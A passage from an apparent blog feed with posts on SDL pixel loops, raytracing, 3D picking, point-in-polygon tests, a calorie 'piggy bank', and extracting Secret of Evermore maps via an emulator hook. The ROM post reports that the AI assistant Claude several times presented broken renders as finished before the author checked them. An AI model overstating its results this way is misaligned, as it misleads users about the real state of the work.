width * 4\u003C\/code\u003E instead of \u003Ccode\u003Ey * pitch\u003C\/code\u003E. I expected a sheared image and got none. The loop reads and writes every pixel at the same place, so it simply processes the first 16384 bytes of the buffer, room included. The bottom 12 rows stay untouched (the tip of the gem stays teal while the rest is inverted) and the room gets inverted along with the pixels. A loop that reads from somewhere other than where it writes would shear the image. Without padding the bug stays hidden, and the demo says so.\u003C\/p\u003E\n\u003Ch2\u003ESurface or texture\u003C\/h2\u003E\n\u003Cp\u003E\u003Ccode\u003ESDL_CreateTextureFromSurface\u003C\/code\u003E copies the pixels into a texture. It lives where the renderer needs it, in video memory with a GPU renderer, and you can no longer simply get at its bytes. The surface stays in RAM and every byte is yours to read and write, but \u003Ccode\u003ESDL_RenderTexture\u003C\/code\u003E only draws textures. Scaling, flipping (\u003Ccode\u003ESDL_RenderTextureRotated\u003C\/code\u003E) and color and alpha modulation are parameters of the draw call. The bytes in panel 2 stay the same, even with orange and 25 % alpha.\u003C\/p\u003E\n\u003Cp\u003EPanel 4 goes the other way: the loop changes the bytes of a copy (gray, invert, mix with orange) and a new texture is made from it. For gray I use the Rec. 601 weights as integers, \u003Ccode\u003E(77 * r \u0026#43; 150 * g \u0026#43; 29 * b) \u0026gt;\u0026gt; 8\u003C\/code\u003E, and pure red gives 76. 4096 pixels took 3 to 8 \u00b5s in my browser. A single run is below the browser timer\u0026#039;s resolution, so the demo averages 1000. Without a compiler barrier in the timing loop it showed 0.0 for me, probably because the compiler merged the identical runs into one.\u003C\/p\u003E\n\u003Ch2\u003ENearest or linear\u003C\/h2\u003E\n\u003Cp\u003EAt 4x zoom the difference is obvious. With \u003Ccode\u003ESDL_SCALEMODE_NEAREST\u003C\/code\u003E every pixel stays a sharp square, with \u003Ccode\u003ESDL_SCALEMODE_LINEAR\u003C\/code\u003E the edges blur, and the 1-pixel checkerboard on the bright face at the top of the gem turns into gray mush. For pixel art I take nearest.\u003C\/p\u003E\n\u003Cp\u003EThe code is in the repo under \u003Ca href=\u0022https:\/\/github.com\/maluramichael\/gamedev-snippets\/tree\/demo-image-loading\/image-loading\u0022\u003Eimage-loading\u003C\/a\u003E. The project \u003Ca href=\u0022\/en\/projects\/gamedev-snippets\u0022\u003EGame Dev Snippets\u003C\/a\u003E collects all demos of the series.\u003C\/p\u003E\n","date_published":"2026-09-04T06:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/i-cracked-open-secret-of-evermore-and-let-the-game-render-for-me","url":"https:\/\/malura.de\/en\/blog\/i-cracked-open-secret-of-evermore-and-let-the-game-render-for-me","title":"I cracked open Secret of Evermore and let the game render for me","content_html":"\u003Cp\u003EA friend started a remake of Secret of Evermore, the 1995 SNES RPG, and I offered to pull the graphics and sound out of the ROM for him. What I thought was an afternoon turned into a weekend of taking half the game apart.\u003C\/p\u003E\n\u003Ch2\u003ELet the game render for you\u003C\/h2\u003E\n\u003Cp\u003EThe maps are nastily compressed. One LZSS layer for the arrangement, a second codec for placement, a third for the tileset, plus palettes from their own table. I rebuilt the codecs by hand for a while, byte by byte against a RAM dump. It worked, but it was slow going.\u003C\/p\u003E\n\u003Cp\u003EThen it hit me that I did not have to do the work at all. The game already renders its maps, that is all it does. So I load it headless in an emulator (Mesen2 via Lua) and hook the game\u0026#039;s own map-load routine. A callback on the spot where the loader reads the current map ID out of RAM, and just before that I overwrite the ID with the one I want to see.\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Eemu.addMemoryCallback(function()\n  emu.write(0x0ADB, target_map, emu.memType.snesWorkRam)\nend, emu.memCallbackType.exec, 0x908F68)\n\u003C\/pre\u003E\n\u003Cp\u003EThe original then builds every map through its own full path, and I just read out VRAM and CGRAM. The extractor boots Mesen2, sets the map ID and dumps the decoded state:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Emap  16: target\u0026#61;16 mapnum\u0026#61;16 24x15 -\u0026gt; OK, painted\u0026#61;104764 missing_quads\u0026#61;0 (2.9s)\nmap  54: target\u0026#61;54 mapnum\u0026#61;54 25x25 -\u0026gt; OK, painted\u0026#61;238854 missing_quads\u0026#61;0 (2.7s)\nmap 105: target\u0026#61;105 mapnum\u0026#61;105 54x79 -\u0026gt; OK, painted\u0026#61;1239641 missing_quads\u0026#61;0 (3.0s)\n\u003C\/pre\u003E\n\u003Cp\u003E\u003Ccode\u003Etarget\u0026#61;\u0026#61;mapnum\u003C\/code\u003E means the game loaded exactly the map I asked for, and not a single tile quadrant is missing. Here is a finished one, the cathedral with its stained glass:\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n\u003Cp\u003EThis runs across all 127 maps without a single failure. Here they are at a glance, pulled straight out of the game:\u003C\/p\u003E\n\u003Cp\u003E[[img:2]]\u003C\/p\u003E\n\u003Ch2\u003EThe first jungle map\u003C\/h2\u003E\n\u003Cp\u003EBecause the maps come out of the running game, they keep running if I just leave them be. So the animation falls out for free: the foliage shimmers, the water ripples, the torches flicker. Here is the jungle with the winding paths where the boy runs around at the start, straight from the game as a GIF:\u003C\/p\u003E\n\u003Cp\u003E[[img:3]]\u003C\/p\u003E\n\u003Cp\u003EAnd the variety is solid. From the market to the junk towers to the lava paths, where the lava actually flows:\u003C\/p\u003E\n\u003Cp\u003E[[img:4]]\u003C\/p\u003E\n\u003Cp\u003E[[img:5]]\u003C\/p\u003E\n\u003Cp\u003E[[img:6]]\u003C\/p\u003E\n\u003Cp\u003E[[img:7]]\u003C\/p\u003E\n\u003Ch2\u003ERolling your own maps\u003C\/h2\u003E\n\u003Cp\u003EOnce I have the real tiles and the neighbour rules of every map, I can build new maps from them too. I learned the adjacency rules from the original maps and generated fresh ones with Wave Function Collapse, rendered with the real tileset. The glass hall gives a nice window grammar:\u003C\/p\u003E\n\u003Cp\u003E[[img:8]]\u003C\/p\u003E\n\u003Cp\u003EOther sources come out more as stonework and floor:\u003C\/p\u003E\n\u003Cp\u003E[[img:9]]\u003C\/p\u003E\n\u003Cp\u003EHonestly, for the jungle the WFC rules are too weak, the biome floods monotone and does not look nearly as good as the real map with its paths. So my remake runs on the real map, and WFC stays the button for rolling something new.\u003C\/p\u003E\n\u003Ch2\u003EWhen it fails, stay honest\u003C\/h2\u003E\n\u003Cp\u003ENot everything went that smoothly. The boy, the player sprite, sits in the ROM as raw 4bpp, and I could check it pixel for pixel against a reference sheet. When I tried to pull the attack and cast poses the same way, I hit a wall.\u003C\/p\u003E\n\u003Cp\u003EThe same matcher that nails standing and walking only gets 0.44 to 0.79 on the action poses. Assembled, it looks like tile salad, a pile of wrongly matched tiles. The reason is that the dynamic poses are not stored as finished pictures in the ROM. They get built at runtime from separate hardware sprites with their own offsets, driven by a script engine. I left the negative result standing instead of passing off made-up offsets as done.\u003C\/p\u003E\n\u003Ch2\u003ESomething you can play\u003C\/h2\u003E\n\u003Cp\u003EI ended up with a pygame remake running on the real ROM data. The boy walks and runs in every direction with the real frames, on the real jungle map with its paths, items, an NPC and real dialogue from the game:\u003C\/p\u003E\n\u003Cp\u003E[[img:10]]\u003C\/p\u003E\n\u003Cp\u003EFor attack and cast I do it the way the original does: the body stays almost static and the weapon and the spell sit on top as their own sprite. Those effect sprites are cut straight from the ROM:\u003C\/p\u003E\n\u003Cp\u003E[[img:11]]\u003C\/p\u003E\n\u003Cp\u003E[[img:12]]\u003C\/p\u003E\n\u003Cp\u003EPlus a menu with the real item and alchemy tables:\u003C\/p\u003E\n\u003Cp\u003E[[img:13]]\u003C\/p\u003E\n\u003Cp\u003EThis is all still work in progress, I keep building on it. You can also clearly see that the animations are not exported cleanly yet, the GIFs flicker and stutter at the edges. That is still to come.\u003C\/p\u003E\n\u003Ch2\u003EPing-pong with the AI\u003C\/h2\u003E\n\u003Cp\u003EThe back and forth was almost more interesting than the code. Claude did the actual grind, reversing the codecs, matching sprites, spread across a bunch of parallel agents. The ideas about where to go came out of the conversation.\u003C\/p\u003E\n\u003Cp\u003ETake the caller trick. Claude first cracked the codecs by hand, byte by byte. Then I said, just let the emulator call the function for you, the game renders its own maps anyway. That was the click, and from there all 127 maps came out.\u003C\/p\u003E\n\u003Cp\u003EThe other running theme was honesty. More than once Claude sold me a clean cathedral while the image was still dark and broken. So I insisted on seeing every rendered image myself before anything counted as done. That is exactly how several supposed breakthroughs turned out to be unfinished. With the player sprite, where the action poses would not come out of the ROM, the call was to keep an honest negative rather than invent offsets. And for the effects I decided to do it like the original instead of digging deep into the animation engine.\u003C\/p\u003E\n\u003Cp\u003EI had the ideas and the eye for the result, Claude had the patience and the thousand details. Together it was done over a weekend, alone it would have taken me weeks. Nothing from Square lands in the repo, by the way, every asset comes out of your own ROM and is gitignored.\u003C\/p\u003E\n\u003Ch2\u003EUpdate: the research is now public\u003C\/h2\u003E\n\u003Cp\u003EEverything I have found out about the ROM so far is now in a public repository: \u003Ca href=\u0022https:\/\/github.com\/maluramichael\/secret-of-evermore-re\u0022\u003Esecret-of-evermore-re on GitHub\u003C\/a\u003E. It documents the formats for compression, maps, sprites, text and event scripts, a RAM map, Ghidra labels for the key routines, and the Python extractors. It contains no game data, everyone brings their own ROM.\u003C\/p\u003E\n","date_published":"2026-08-30T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/raytracing","url":"https:\/\/malura.de\/en\/blog\/raytracing","title":"Raytracing","content_html":"\u003Cp\u003EA graphics card asks, for every triangle, which pixels it covers. A ray tracer turns that around and asks, for every pixel, what you would see looking through it from the camera. With spheres and a plane it fits in a few dozen lines. I also wanted to know what shadows and reflections cost, so in the demo you can switch each one off.\u003C\/p\u003E\n\u003Cp\u003E[[demo:raytracing]]\u003C\/p\u003E\n\u003Cp\u003EThe mouse moves the light. It hangs three units above the floor, right over the spot you point at. Below the image you pick 80x45, 160x90 or 320x180 pixels (the picture is always stretched to 640x360) and turn shadows and reflections on and off. On the right the demo counts every single ray.\u003C\/p\u003E\n\u003Ch2\u003EOne ray per pixel\u003C\/h2\u003E\n\u003Cp\u003EThe camera sits at one point and every pixel gets a direction. The pixel center is mapped to the range -1 to 1 and scaled by the field of view and the aspect ratio, the z component is always 1:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst float sx \u0026#61; (2.0F * u - 1.0F) * aspect * cam.tanHalfFov;\nconst float sy \u0026#61; (1.0F - 2.0F * v) * cam.tanHalfFov - cam.shift;\nreturn {cam.pos, normalize(Vec3{sx, sy, 1.0F})};\n\u003C\/pre\u003E\n\u003Cp\u003E\u003Ccode\u003Eshift\u003C\/code\u003E only moves the horizon up in the image without tilting the camera. Every object is asked whether and where the ray hits it, and the smallest positive distance \u003Ccode\u003Et\u003C\/code\u003E wins.\u003C\/p\u003E\n\u003Ch2\u003EA sphere is a quadratic equation\u003C\/h2\u003E\n\u003Cp\u003EA point on the ray is \u003Ccode\u003Eorigin \u0026#43; t * dir\u003C\/code\u003E. It lies on the sphere when its distance to the center equals the radius. Plugging that in gives a quadratic equation in \u003Ccode\u003Et\u003C\/code\u003E:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst Vec3 oc \u0026#61; ray.origin - s.center;\nconst float a \u0026#61; dot(ray.dir, ray.dir);\nconst float halfB \u0026#61; dot(oc, ray.dir);\nconst float c \u0026#61; dot(oc, oc) - s.radius * s.radius;\nconst float disc \u0026#61; halfB * halfB - a * c;\nif (disc \u0026lt; 0.0F) return false;\n\u003C\/pre\u003E\n\u003Cp\u003EA negative discriminant means the ray misses. Otherwise there are two solutions and the nearer one wins. If the ray starts inside the sphere, the nearer one is negative and the far one is the way out. The tests check this by hand: a ray from the center hits at \u003Ccode\u003Et\u003C\/code\u003E equal to the radius, a ray at y \u0026#61; 1.001 past a sphere of radius 1 misses, and at y \u0026#61; 1 it grazes exactly (discriminant 0). The floor is simpler: \u003Ccode\u003Et \u0026#61; (height - origin.y) \/ dir.y\u003C\/code\u003E, and a ray parallel to the floor never hits.\u003C\/p\u003E\n\u003Ch2\u003ENormal and light\u003C\/h2\u003E\n\u003Cp\u003EAt the hit point the normal is \u003Ccode\u003E(point - center) \/ radius\u003C\/code\u003E. The dot product of the normal and the direction to the light says how bright the point gets: 1 when the surface faces the light, 0 when edge on, negative beyond that and clamped to 0. A fixed 0.2 on top keeps the back side from going black:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst float facing \u0026#61; std::max(0.0F, dot(normal, toLight));\nVec3 color \u0026#61; albedo * (kAmbient \u0026#43; (1.0F - kAmbient) * facing * lit);\n\u003C\/pre\u003E\n\u003Cp\u003E\u003Ccode\u003Elit\u003C\/code\u003E is 1 or 0 and comes from the shadow ray.\u003C\/p\u003E\n\u003Ch2\u003EShadows\u003C\/h2\u003E\n\u003Cp\u003EA point is in shadow when something stands between it and the light. So a second ray goes from the hit point to the light. If it hits a sphere before it reaches the light, \u003Ccode\u003Elit\u003C\/code\u003E is 0. The distance to the light is the upper limit for \u003Ccode\u003Et\u003C\/code\u003E, so a sphere behind the light casts no shadow. If the surface faces away from the light, the demo skips the ray, since only ambient light is left there anyway.\u003C\/p\u003E\n\u003Ch2\u003EShadow acne\u003C\/h2\u003E\n\u003Cp\u003EThe shadow ray starts on a surface. Rounding errors like to put the start a hair below it, say 0.0001. The first thing the ray finds is then the surface itself at \u003Ccode\u003Et\u003C\/code\u003E just above 0. The point shadows itself and the sphere ends up covered in dots and stripes. The fix is a small offset along the normal:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst Vec3 origin \u0026#61; point \u0026#43; normal * bias;   \/\/ bias \u0026#61; 0.001\n\u003C\/pre\u003E\n\u003Cp\u003EThe test rebuilds exactly that: a point on top of a unit sphere, 0.0001 under the surface, the light above it. Without the offset \u003Ccode\u003Eoccluded\u003C\/code\u003E wrongly reports a blocker, with 0.001 it does not.\u003C\/p\u003E\n\u003Ch2\u003EReflection\u003C\/h2\u003E\n\u003Cp\u003EFor the mirror ball the direction is mirrored at the normal, \u003Ccode\u003Ed - n * 2 * dot(d, n)\u003C\/code\u003E, and the new ray is followed like a camera ray, recursively:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Eif (opt.reflections \u0026amp;\u0026amp; reflectivity \u0026gt; 0.0F \u0026amp;\u0026amp; depth \u0026lt; opt.maxDepth) {\n    const Ray bounce{point \u0026#43; normal * kShadowBias, normalize(reflect(ray.dir, normal))};\n    color \u0026#61; lerp(color, trace(scene, bounce, depth \u0026#43; 1, opt, rays), reflectivity);\n}\n\u003C\/pre\u003E\n\u003Cp\u003EThe ball reflects 85 percent, the floor 20, the rest is its own color. After at most 3 bounces it stops, otherwise two mirrors facing each other would never settle. The test sets up exactly that: two mirror balls opposite each other, a ray in between, and 4 rays get counted.\u003C\/p\u003E\n\u003Ch2\u003EWhat it costs\u003C\/h2\u003E\n\u003Cp\u003EAt 320x180 that is 57,600 pixels. Without shadows and reflections it is exactly one ray per pixel, so 57,600. With shadows it is around 93,000, with reflections around 100,000 because the floor and the mirror ball send one more ray, and with both around 143,000, which is 2.5 per pixel.\u003C\/p\u003E\n\u003Cp\u003EIn milliseconds it was mostly 2 to 5 on my Mac in the browser for a 320x180 image with everything on. My machine was busy with other things, so the numbers scatter. Without shadows and reflections it was fastest in my measurements, with everything on it took about 1.6 times as long.\u003C\/p\u003E\n\u003Cp\u003ESo it does not stall on slower devices, the demo renders only as many rows from the top as fit into 8 milliseconds per frame and carries on in the next one. The orange line in the image shows where it is, below the line you still see the old picture. With the CPU throttled to a twenty-fifth in the DevTools an image takes about 50 milliseconds and is drawn over several frames. I did not try it on a real phone.\u003C\/p\u003E\n\u003Ch2\u003EPitfalls\u003C\/h2\u003E\n\u003Cp\u003EThe tile color of the floor comes from \u003Ccode\u003Efloor(x) \u0026#43; floor(z)\u003C\/code\u003E. A plain cast to int would make the tile around 0 twice as wide, because -0.5 and 0.5 both become 0. The normal must have length 1, otherwise neither the brightness nor the reflection is right. And the floor may only hit when \u003Ccode\u003Et\u003C\/code\u003E is positive: a ray pointing up would otherwise intersect the plane behind the camera.\u003C\/p\u003E\n\u003Cp\u003EYou can find the code in the repo under \u003Ca href=\u0022https:\/\/github.com\/maluramichael\/gamedev-snippets\/tree\/demo-raytracing\/raytracing\u0022\u003Eraytracing\u003C\/a\u003E. All demos of the series are collected in the project \u003Ca href=\u0022\/en\/projects\/gamedev-snippets\u0022\u003EGame Dev Snippets\u003C\/a\u003E.\u003C\/p\u003E\n","date_published":"2026-08-28T06:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/picking-in-3d-space","url":"https:\/\/malura.de\/en\/blog\/picking-in-3d-space","title":"Picking in 3D space","content_html":"\u003Cp\u003EPicking in 2D is a one-liner: the mouse is inside the rectangle or it is not. In 3D the mouse is a pixel on an image, and the image is only a projection of the scene. Which object sits under that pixel is written down nowhere. You can\u0026#039;t ask the picture, you have to look in the scene itself.\u003C\/p\u003E\n\u003Cp\u003E[[demo:picking-3d]]\u003C\/p\u003E\n\u003Cp\u003EThe demo has seven objects on a floor: cubes, boxes and spheres. Move the mouse over them: the object you hit gets an orange outline, and the panel on the right shows its name, the distance \u003Ccode\u003Et\u003C\/code\u003E and the hit point in world coordinates. A click selects it. Dragging the background (or the right mouse button) orbits the camera, the wheel zooms. The box on the right shows the same scene from above, with the camera, its field of view and the ray that currently sits under the mouse.\u003C\/p\u003E\n\u003Cp\u003EEverything is drawn in software with my own 4x4 matrices, and the triangles go out through \u003Ccode\u003ESDL_RenderGeometry\u003C\/code\u003E.\u003C\/p\u003E\n\u003Ch2\u003EFrom pixel to ray\u003C\/h2\u003E\n\u003Cp\u003EA pixel gives you a line: everything that falls through that pixel as seen from the camera. You only get a point once you add a depth. So you calculate backwards. Pixel x and y become NDC coordinates between -1 and 1 (y flips on the way, pixels count downwards, NDC counts upwards), plus a depth: -1 is the near plane, 1 the far plane. Then you multiply by the inverse of projection times view and divide by w:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst float nx \u0026#61; (px - vp.x) \/ vp.w * 2.0F - 1.0F;\nconst float ny \u0026#61; 1.0F - (py - vp.y) \/ vp.h * 2.0F;\nconst Vec4 c \u0026#61; invViewProj * Vec4{nx, ny, ndcZ, 1.0F};\nreturn {c.x \/ c.w, c.y \/ c.w, c.z \/ c.w};\n\u003C\/pre\u003E\n\u003Cp\u003ETwo points are enough, one with depth -1 and one with depth 1. Both lie on the ray, their difference is the direction. For the origin I take the camera position, which makes \u003Ccode\u003Et\u003C\/code\u003E a real distance in the world later:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst Vec3 nearPoint \u0026#61; unproject(invViewProj, vp, px, py, -1.0F);\nconst Vec3 farPoint \u0026#61; unproject(invViewProj, vp, px, py, 1.0F);\nreturn Ray{eye, normalize(farPoint - nearPoint)};\n\u003C\/pre\u003E\n\u003Cp\u003EA test checks this as a round trip: a world point goes through \u003Ccode\u003Eproject\u003C\/code\u003E to pixel plus depth and back through \u003Ccode\u003Eunproject\u003C\/code\u003E, and the original point has to come out. The tolerance is 0.002, which is all a \u003Ccode\u003Efloat\u003C\/code\u003E gives you with a far plane at 100. On top of that two cases I worked out by hand beforehand: the ray through the middle of the viewport has to point exactly along the view direction, and with a 90 degree field of view the ray through the top left corner points along \u003Ccode\u003E(-1, 1, -1)\u003C\/code\u003E, normalized.\u003C\/p\u003E\n\u003Ch2\u003ERay against sphere and box\u003C\/h2\u003E\n\u003Cp\u003EFor the sphere you put \u003Ccode\u003Eorigin \u0026#43; t * dir\u003C\/code\u003E into the sphere equation and get a quadratic in \u003Ccode\u003Et\u003C\/code\u003E. A negative discriminant means the ray misses. Otherwise there are two solutions, entry and exit. If even the exit is behind the origin, the sphere is behind the camera:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst Vec3 oc \u0026#61; ray.origin - center;\nconst float a \u0026#61; dot(ray.dir, ray.dir);\nconst float halfB \u0026#61; dot(oc, ray.dir);\nconst float c \u0026#61; dot(oc, oc) - radius * radius;\nconst float disc \u0026#61; halfB * halfB - a * c;\nif (disc \u0026lt; 0.0F) return std::nullopt;\nconst float root \u0026#61; std::sqrt(disc);\nconst float far \u0026#61; (-halfB \u0026#43; root) \/ a;\nif (far \u0026lt; 0.0F) return std::nullopt;\nreturn std::max((-halfB - root) \/ a, 0.0F);\n\u003C\/pre\u003E\n\u003Cp\u003EFor the box I use the slab method. An axis-aligned box is the intersection of three slabs, one per axis. For each axis you work out at which \u003Ccode\u003Et\u003C\/code\u003E the ray enters and leaves that slab. The box is hit when the three intervals overlap, meaning the largest entry is not behind the smallest exit:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Efor (int i \u0026#61; 0; i \u0026lt; 3; \u0026#43;\u0026#43;i) {\n    if (std::fabs(d[i]) \u0026lt; 1e-8F) {\n        if (o[i] \u0026lt; mn[i] || o[i] \u0026gt; mx[i]) return std::nullopt;\n        continue;\n    }\n    float t1 \u0026#61; (mn[i] - o[i]) \/ d[i];\n    float t2 \u0026#61; (mx[i] - o[i]) \/ d[i];\n    if (t1 \u0026gt; t2) std::swap(t1, t2);\n    tMin \u0026#61; std::max(tMin, t1);\n    tMax \u0026#61; std::min(tMax, t2);\n    if (tMin \u0026gt; tMax) return std::nullopt;\n}\nreturn tMin;\n\u003C\/pre\u003E\n\u003Cp\u003E\u003Ccode\u003EtMin\u003C\/code\u003E starts at 0. That cuts off everything behind the origin, and a ray that starts inside the box gets \u003Ccode\u003Et \u0026#61; 0\u003C\/code\u003E. That is my own convention, other implementations return the exit point there.\u003C\/p\u003E\n\u003Ch2\u003EThe nearest hit wins\u003C\/h2\u003E\n\u003Cp\u003EEvery object returns a \u003Ccode\u003Et\u003C\/code\u003E or nothing, the smallest one wins. The floor is a plane at y \u0026#61; 0 and enters as one more candidate:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Efor (std::size_t i \u0026#61; 0; i \u0026lt; objects.size(); \u0026#43;\u0026#43;i) {\n    const auto t \u0026#61; intersect(ray, objects[i]);\n    if (t \u0026amp;\u0026amp; (!best || *t \u0026lt; best-\u0026gt;t)) best \u0026#61; Pick{static_cast\u0026lt;int\u0026gt;(i), false, *t};\n}\nconst auto floorT \u0026#61; rayPlane(ray, {0, 0, 0}, {0, 1, 0});\nif (floorT \u0026amp;\u0026amp; (!best || *floorT \u0026lt; best-\u0026gt;t)) best \u0026#61; Pick{-1, true, *floorT};\n\u003C\/pre\u003E\n\u003Cp\u003EThe test puts the far sphere first in the list on purpose, so a \u0026#34;first hit wins\u0026#34; bug shows up. The spheres are hit mathematically, not the 320 triangles you see. In the middle of a face the triangles sit 1.5 to 2 percent below the true sphere surface. At the edge of a sphere the ray therefore hits a little outside the drawn outline, and you won\u0026#039;t notice.\u003C\/p\u003E\n\u003Ch2\u003EPitfalls\u003C\/h2\u003E\n\u003Cp\u003EThe y axis flips between pixel and NDC. Forget the flip and the mouse picks at the top whatever lies at the bottom.\u003C\/p\u003E\n\u003Cp\u003EWhen the ray runs parallel to an axis, that direction component is 0 and the division blows up. The case is handled up front: if the origin lies inside that slab the axis is ignored, otherwise it is a miss. The edge case, origin exactly on the slab boundary, counts as inside and has its own test.\u003C\/p\u003E\n\u003Cp\u003EThe direction needs length 1, otherwise \u003Ccode\u003Et\u003C\/code\u003E is no longer a distance. \u003Ccode\u003EpixelToRay\u003C\/code\u003E normalizes it, the tests assume it.\u003C\/p\u003E\n\u003Cp\u003EAnd then there is drawing, which has nothing to do with picking. I sort the objects by the distance of their center and draw back to front. That only works because nothing intersects (a test checks that), overlapping objects would show errors. Lines that reach behind the camera would land mirrored on the screen, so the grid and the floor get cut at the near plane, in \u003Ccode\u003EclipNear\u003C\/code\u003E.\u003C\/p\u003E\n\u003Cp\u003EThe code is in the repo under \u003Ca href=\u0022https:\/\/github.com\/maluramichael\/gamedev-snippets\/tree\/demo-picking-3d\/picking-3d\u0022\u003Epicking-3d\u003C\/a\u003E. All demos of the series are collected in the project \u003Ca href=\u0022\/en\/projects\/gamedev-snippets\u0022\u003EGame Dev Snippets\u003C\/a\u003E.\u003C\/p\u003E\n","date_published":"2026-08-21T06:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/the-treat-piggy-bank-earning-snacks-instead-of-banning-them","url":"https:\/\/malura.de\/en\/blog\/the-treat-piggy-bank-earning-snacks-instead-of-banning-them","title":"The treat piggy bank: earning snacks instead of banning them","content_html":"\u003Cp\u003EI built a piggy bank into my \u003Ca href=\u0022\/projekte\/health-dashboard\u0022\u003EHealth Dashboard\u003C\/a\u003E, except it holds calories instead of coins. Every day I land deeper below my target than planned, the surplus goes into the account. Before this sounds like self-deception: the point is exactly the opposite.\u003C\/p\u003E\n\u003Ch2\u003EBanning everything is the easy way out\u003C\/h2\u003E\n\u003Cp\u003ESix months without anything sweet is easier than it sounds. You cut a whole category and never have to decide again. No weighing, no measure, no grey area. That works as long as the diet runs, and collapses the moment it ends, because the whole time you learned nothing except leaving things out.\u003C\/p\u003E\n\u003Cp\u003EBut I do not want a diet that ends. I have gone from around 126 kg in June to 116.5 kg today, visceral fat down to 5.4, and that is meant to stay down. Staying down means a state where a Spezi and a homemade pizza show up now and then without everything falling apart. That is exactly the thing you have to practice, and I can only practice it by doing it, not by banning it.\u003C\/p\u003E\n\u003Ch2\u003EHow the piggy bank does the math\u003C\/h2\u003E\n\u003Cp\u003EMy maintenance burn sits empirically at 2,619 kcal, my target deficit at 500. Everything I land below that 500 on a given day is surplus and flows into a monthly pot. In August I banked 5,695 kcal over 16 logged days that way, so on average a good 350 kcal more deficit per day than I had planned.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n\u003Cp\u003EWishes get unlocked from that pot. A Paulaner Spezi costs 185 kcal, the big salami pizza 1,600. As long as the pot covers them they are free, otherwise the dashboard shows me how many calories are still missing. The treat is neither forbidden nor unlimited, it has a price that I earned beforehand.\u003C\/p\u003E\n\u003Ch2\u003ESugar runs on its own account\u003C\/h2\u003E\n\u003Cp\u003ECalories are not the whole problem. 46 g of sugar from a single Spezi does something to blood glucose that the raw kcal number does not capture. So there is a second, independent limit: 200 g of free sugar per week, tracked separately from the calorie pot. A wish can be covered on calories long ago and still be locked because the week has already spent its sugar budget. Natural sugar from fruit counts separately and does not eat into it.\u003C\/p\u003E\n\u003Ch2\u003EWhy this is not caving in\u003C\/h2\u003E\n\u003Cp\u003EThe comfortable reflex would be to build nothing and just stay hard. The piggy bank is the opposite of giving in: it makes the treat expensive, visible and earned. A bit of snacking is no longer a slip I talk my way out of afterwards, it is a decision with a price tag that I worked out for myself over a few stricter days.\u003C\/p\u003E\n\u003Cp\u003EWhat I am training is not abstinence, it is dosing. The skill I actually need if the weight is to stay down is not saying no for six months. It is keeping the measure for the rest of it.\u003C\/p\u003E\n","date_published":"2026-08-17T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/point-in-polygon","url":"https:\/\/malura.de\/en\/blog\/point-in-polygon","title":"Point in polygon","content_html":"\u003Cp\u003EIs the mouse cursor inside this shape? For a rectangle that is four comparisons. Once the shape has dents, say a trigger zone, a region on a map or something drawn freehand, four comparisons are not enough anymore. The classic answer fires a ray from the point and counts how often it crosses the edges.\u003C\/p\u003E\n\u003Cp\u003E[[demo:point-in-polygon]]\u003C\/p\u003E\n\u003Cp\u003EThe mouse cursor is the test point. A dashed ray runs from it to the right, every edge it crosses turns orange, and every crossing gets a marker. The corners can be dragged, a click on an edge adds a new corner, right click or Del removes one (three always stay). The result is at the top left. While you drag, the test point stays where it was, so you can watch the result change as the corner moves.\u003C\/p\u003E\n\u003Ch2\u003ECounting\u003C\/h2\u003E\n\u003Cp\u003EAn odd number of crossings means inside, an even number means outside. The ray enters or leaves the shape at every crossing, and far to the right it is guaranteed to be outside. What is left to decide is when an edge crosses the ray. First, one end of the edge has to be above and the other below the ray\u0026#039;s height:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Einline bool spansRow(Vec2 a, Vec2 b, double y) { return (a.y \u0026gt; y) !\u0026#61; (b.y \u0026gt; y); }\n\u003C\/pre\u003E\n\u003Cp\u003EThen the crossing has to lie to the right of the point. You could compute it and compare. I decide it with the sign of a cross product instead, which drops the division and is exact for whole-number coordinates:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst double cross \u0026#61; (b.x - a.x) * (p.y - a.y) - (p.x - a.x) * (b.y - a.y);\nconst bool right \u0026#61; b.y \u0026gt; a.y ? cross \u0026gt; 0.0 : cross \u0026lt; 0.0;\nif (right) out.push_back({detail::xAt(a, b, p.y), detail::direction(a, b), i});\n\u003C\/pre\u003E\n\u003Cp\u003EI still compute the x position of the crossing, but only so the demo can put the marker there.\u003C\/p\u003E\n\u003Ch2\u003EThe corner\u003C\/h2\u003E\n\u003Cp\u003EThis is the trap, and \u003Ccode\u003EspansRow\u003C\/code\u003E above is the answer to it. What happens when the ray runs exactly through a corner? The obvious check with a closed interval (\u003Ccode\u003Ep.y\u003C\/code\u003E lies between the two y values, ends included) catches the corner for both edges that meet there. If the polygon passes through the ray at that spot, the crossing is counted twice and the parity flips. A horizontal edge at the ray\u0026#039;s height makes it worse, because you would divide by zero.\u003C\/p\u003E\n\u003Cp\u003E\u003Ccode\u003E(a.y \u0026gt; p.y) !\u0026#61; (b.y \u0026gt; p.y)\u003C\/code\u003E leaves the interval open on one side. An edge covers the heights from its smaller y up to just below its larger y. You can also think of it like this: a corner that sits exactly on the ray is treated as if it were a hair below it, at a smaller y. The ray never hits a corner anymore, there are only clean crossings. That gives the three cases:\u003C\/p\u003E\n\u003Cp\u003EIf the polygon passes through the 